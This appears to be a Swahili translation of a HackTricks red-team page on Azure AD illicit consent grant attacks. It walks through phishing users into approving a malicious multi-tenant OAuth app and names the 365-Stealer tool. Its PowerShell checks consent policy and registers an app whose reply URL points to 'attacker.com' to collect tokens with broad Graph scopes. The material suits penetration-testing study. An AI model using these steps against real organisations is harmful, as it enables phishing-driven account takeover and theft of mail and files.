Az - Illicit Consent Grant

Jifunze kuhack AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Udukuzi wa Programu ya OAuth

Maombi ya Azure hufanya ombi la ruhusa ya kupata data ya mtumiaji (habari za msingi, lakini pia kupata nyaraka, kutuma barua pepe...). Ikiwa kuruhusiwa, mtumiaji wa kawaida anaweza kutoa idhini tu kwa ruhusa za "Majeraha ya Chini". Katika hali zingine zote, idhini ya msimamizi inahitajika. GA, Msimamizi wa Maombi, Msimamizi wa Maombi ya Wingu na jukumu maalum linalojumuisha ruhusa ya kutoa ruhusa kwa maombi inaweza kutoa idhini kwa kiwango cha mpangaji.

Ruhusa zinazohitaji idhini ya msimamizi tu zinachukuliwa kama majaraha ya chini. Hizi ni ruhusa zinazohitajika kwa kuingia msingi ni openid, wasifu, barua pepe, User.Read na offline_access. Ikiwa shirika inaruhusu idhini ya mtumiaji kwa maombi yote, mfanyakazi anaweza kutoa idhini kwa programu ili kusoma yaliyotajwa hapo juu kutoka kwenye wasifu wao.

Hivyo, mshambuliaji anaweza kuandaa Programu mbaya na kwa phishing, kufanya mtumiaji kubali Programu na kuiba data yake.

Aina 2 za Mashambulizi ya Siri ya Azimio

  • Bila kuthibitishwa: Kutoka kwenye akaunti ya nje, unda programu na ruhusa User.Read na User.ReadBasic.All kwa mfano, phish mtumiaji, na utaweza kupata habari ya saraka.

  • Hii inahitaji mtumiaji aliyeudukuliwa kuweza kukubali programu za OAuth kutoka mazingira ya nje!

  • Kuthibitishwa: Ukiwa umedhoofisha msingi na mamlaka za kutosha, unda programu ndani ya akaunti na udanganye mtumiaji mwenye mamlaka ambaye anaweza kukubali ruhusa za OAuth zenye mamlaka.

  • Katika kesi hii, tayari unaweza kupata habari ya saraka, hivyo ruhusa User.ReadBasic.All sio tena ya kuvutia.

  • Labda unavutiwa na ruhusa zinazohitaji msimamizi kuziruhusu, kwa sababu mtumiaji wa kawaida hawezi kutoa ruhusa yoyote kwa programu za OAuth, ndio sababu unahitaji kudanganya watumiaji hao tu (zaidi juu ya ni majukumu/ruhusa zipi zinazotoa haki hii baadaye)

Angalia ikiwa watumiaji wameruhusiwa kutoa idhini

Amri ifuatayo ya PowerShell hutumiwa kuangalia usanidi wa idhini kwa watumiaji katika Azure Active Directory (Azure AD) kuhusiana na uwezo wao wa kutoa idhini kwa maombi:

PS AzureADPreview> (GetAzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole
  • Zima idhini ya mtumiaji: Mipangilio hii inazuia watumiaji kutoa idhini kwa programu. Hakuna idhini ya mtumiaji kwa programu inaruhusiwa.

  • Watumiaji wanaweza kutoa idhini kwa programu kutoka kwa wachapishaji waliothibitishwa au shirika lako, lakini tu kwa idhini unazochagua: Mipangilio hii inaruhusu watumiaji wote kutoa idhini kwa programu zilizochapishwa na wachapishaji waliothibitishwa na programu zilizosajiliwa katika mpangilio wako mwenyewe. Inaongeza safu ya udhibiti kwa kuruhusu idhini kwa idhini maalum tu.

  • Watumiaji wanaweza kutoa idhini kwa programu zote: Mipangilio hii inaruhusu zaidi na kuruhusu watumiaji wote kutoa idhini kwa idhini yoyote kwa programu, mradi idhini hizo hazihitaji idhini ya kiutawala.

  • Sera ya idhini ya programu ya desturi: Mipangilio hii inaonyesha kuwa sera ya desturi imewekwa, ambayo inaweza kubadilishwa kulingana na mahitaji maalum ya shirika na inaweza kuhusisha mchanganyiko wa vizuizi kulingana na mchapishaji wa programu, idhini ambazo programu inaomba, na mambo mengine.

Kuelewa Shambulio la Kutoa Idhini Haramu

Katika shambulio la kutoa idhini haramu, wadukuzi huwadanganya watumiaji wa mwisho kutoa idhini kwa programu mbaya iliyosajiliwa na Azure. Hii hufanywa kwa kufanya programu ionekane halali, kuongoza waathiriwa kubofya kitufe cha "Kubali" bila kujua. Kama matokeo, Azure AD hutoa token kwa tovuti ya muhusika, kuwaruhusu kupata na kudhibiti data ya muathiriwa, kama vile kusoma au kutuma barua pepe na kupata faili, bila kuhitaji akaunti ya shirika.

Muhtasari wa Mchakato wa Shambulio

Shambulio hili linajumuisha hatua kadhaa zikilenga kampuni ya jumla. Hivi ndivyo inavyoweza kutokea:

  1. Usajili wa Kikoa na Kuhifadhi Programu: Muhusika anasajili kikoa kinachofanana na tovuti ya kuaminika, kwa mfano, "safedomainlogin.com". Chini ya kikoa hiki, anajenga subdomain (k.m., "companyname.safedomainlogin.com") kuhifadhi programu iliyoundwa kukamata nambari za idhini na kuomba viambatisho vya ufikiaji.

  2. Usajili wa Programu katika Azure AD: Muhusika kisha anasajili Programu ya Wapangaji Wengi katika Mpangilio wao wa Azure AD, ikiiita jina la kampuni ya lengo ili ionekane halali. Wanakusudia URL ya Kuelekeza ya programu ielekeze kwenye subdomain inayohifadhi programu mbaya.

  3. Kuanzisha Idhini: Muhusika anaweka programu na idhini mbalimbali za API (k.m., Mail.Read, Notes.Read.All, Files.ReadWrite.All, User.ReadBasic.All, User.Read). Idhini hizi, mara zikiruhusiwa na mtumiaji, huwaruhusu muhusika kutoa taarifa nyeti kwa niaba ya mtumiaji.

  4. Kusambaza Viungo vya Madhara: Muhusika anabuni kiungo kinachojumuisha kitambulisho cha mteja wa programu mbaya na kushiriki na watumiaji walengwa, kuwadanganya kutoa idhini.

Kutumia Zana kwa Shambulio

Shambulio linaweza kufanikishwa kwa kutumia zana kama 365-Stealer.

Maandalizi Kabla ya Shambulio:

Ikiwa muhusika ana kiwango fulani cha ufikiaji kwa mtumiaji katika shirika la muathiriwa, wanaweza kuangalia ikiwa sera ya shirika inaruhusu mtumiaji kukubali programu:

Import-Module .\AzureADPreview\AzureADPreview.psd1
$passwd = ConvertTo-SecureString "Password!" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("generic@corp.onmicrosoft.com", $passwd)
Connect-AzureAD -Credential $creds
(Get-AzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole
# Check if "ManagePermissionGrantsForSelf.microsoft-user-default-legacy" is present, indicating permission to accept apps.

Kwa kutekeleza shambulizi, mshambuliaji atahitaji kuunda App mpya katika Azure Tenant yao (katika Usajili wa App), iliyojengwa na ruhusa:

User.ReadBasic.All iko ndani ya Microsoft Graph katika Ruhusa zilizopewa Delegated. (Ruhusa za Maombi zitahitaji idhini ya ziada).

  • User.ReadBasic.All ni ruhusa itakayokuwezesha kusoma habari za watumiaji wote katika shirika ikiwa itapewa.

  • Kumbuka kuwa tu GA, Msimamizi wa Maombi, Msimamizi wa Programu ya Wingu na jukumu la desturi linalojumuisha ruhusa ya kutoa ruhusa kwa maombi ndio wanaweza kutoa idhini ya mwenyeji. Kwa hivyo, unapaswa kuwinda mtumiaji mwenye moja ya majukumu hayo ikiwa unataka amuidhinishe App inayohitaji idhini ya msimamizi.

Pia unaweza kuunda App kupitia cli na:

# Generate Application
New-AzureADApplication -DisplayName "MyApp"  -ReplyUrls @("https://attacker.com", "https://attacker.com/gettoken") -Oauth2AllowImplicitFlow $true -AvailableToOtherTenants $true

# Generate Secret
New-AzureADApplicationPasswordCredential -ObjectId f76ebd35-xxxx-xxxx-xxxx-xxxxxxxxxxxx -CustomKeyIdentifier "MyAppSecret" -StartDate (Get-Date) -EndDate (Get-Date).AddYears(3)

# Generate an application with the permissions
$objectid=New-AzureADApplication -DisplayName "AppName"  -ReplyUrls @("https://example.com/login/authorized") -Oauth2AllowImplicitFlow $true -AvailableToOtherTenants $true | select-object ObjectId
New-AzureADApplicationPasswordCredential -ObjectId $objectid.ObjectId -CustomKeyIdentifier "secret" -StartDate (Get-Date) -EndDate (Get-Date).AddYears(3)

$AppObjectID = $objectid.ObjectId # object id in AD
$app = Get-AzureADApplication -ObjectId $AppObjectID
$AADAccess = $app.RequiredResourceAccess | Where-Object {$_.ResourceAppId -eq "00000003-0000-0000-c000-000000000000"}  # "00000003-0000-0000-c000-000000000000" represents Graph API
if($AADAccess -eq $null) {
$AADAccess = New-Object Microsoft.Open.AzureAD.Model.RequiredResourceAccess
$AADAccess.ResourceAppId = "00000003-0000-0000-c000-000000000000"

$Access = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access.Type = "Scope"
$Access.Id = "14dad69e-099b-42c9-810b-d002981feec1"
$AADAccess.ResourceAccess = @()
$AADAccess.ResourceAccess.Add($Access)

$Access2 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access2.Type = "Scope"
$Access2.Id = "e1fe6dd8-ba31-4d61-89e7-88639da4683d"
$AADAccess.ResourceAccess.Add($Access2)

$Access3 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access3.Type = "Scope"
$Access3.Id = "df85f4d6-205c-4ac5-a5ea-6bf408dba283"
$AADAccess.ResourceAccess.Add($Access3)

$Access4 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access4.Type = "Scope"
$Access4.Id = "10465720-29dd-4523-a11a-6a75c743c9d9"
$AADAccess.ResourceAccess.Add($Access4)

$app.RequiredResourceAccess.Add($AADAccess)
} else {
$Access = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access.Type = "Scope"
$Access.Id = "14dad69e-099b-42c9-810b-d002981feec1"
$AADAccess.ResourceAccess = @()
$AADAccess.ResourceAccess.Add($Access)

$Access2 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access2.Type = "Scope"
$Access2.Id = "e1fe6dd8-ba31-4d61-89e7-88639da4683d"
$AADAccess.ResourceAccess.Add($Access2)

$Access3 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access3.Type = "Scope"
$Access3.Id = "df85f4d6-205c-4ac5-a5ea-6bf408dba283"
$AADAccess.ResourceAccess.Add($Access3)

$Access4 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access4.Type = "Scope"
$Access4.Id = "10465720-29dd-4523-a11a-6a75c743c9d9"
$AADAccess.ResourceAccess.Add($Access4)
}

Set-AzureADApplication -ObjectId $AppObjectID -RequiredResourceAccess $app.RequiredResourceAccess
Get-AzureADApplication -ObjectId $objectid.ObjectId | select-object appid

Angalia https://www.alteredsecurity.com/post/introduction-to-365-stealer kujifunza jinsi ya kuiboresha.

Tafadhali elewa kuwa tokeni ya ufikiaji iliyopatikana itakuwa kwa mwisho wa grafu na mamlaka: User.Read na User.ReadBasic.All (ruhusa zilizoombwa). Hautaweza kufanya vitendo vingine (lakini hizi ni za kutosha kudownload taarifa kuhusu watumiaji wote katika shirika).

Unaweza pia kutumia chombo hiki kufanya shambulizi hili.

Baada ya Kuingia

Marakani ukishapata ufikiaji wa mtumiaji unaweza kufanya mambo kama kuiba nyaraka nyeti na hata kupakia nyaraka zilizoharibiwa nyuma.

Marejeo

Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks:

Last updated